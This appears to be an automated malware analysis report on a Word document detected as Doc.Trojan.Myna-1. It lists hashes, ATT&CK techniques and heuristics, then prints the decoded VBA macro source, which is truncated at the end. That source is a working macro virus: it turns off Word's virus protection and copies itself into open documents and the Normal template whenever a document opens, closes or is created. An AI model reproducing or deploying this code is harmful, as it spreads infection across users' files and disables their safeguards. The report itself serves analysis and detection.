Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4b474825c0abeb4…

MALICIOUS

Office (OLE)

39.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4a455455d49cbbaad63b5571124f3b6c SHA-1: 885a05ddb0da888e16ee09586ffc3313c05acd61 SHA-256: b4b474825c0abeb4e7cbdc8ff1eedd1ff344a1f695cd04257ff2d8bbe0873278
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Myna-1. It contains VBA macros, including AutoClose and Document_Open, which are commonly used to execute malicious code upon opening or closing the document. The script attempts to insert code into the document and the Normal template, indicating an effort to establish persistence or execute further malicious actions, such as downloading a payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Myna-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Myna-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4723 bytes
SHA-256: 115b0671f9f11d2f7e57357805406435d68796685969193d44bf14ba1ccdb234
Detection
ClamAV: Doc.Trojan.Myna-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
'AVM
On Error Resume Next
Dim DC, IT As Integer
Application.EnableCancelKey = 0
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0
a = ActiveDocument.Saved
If Right(NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(2, 1), 3) <> "AVM" Then
Private Sub Document_Close()

'

Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 answer = "MYNAMEISVIRUS"
  Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lin
... (truncated)

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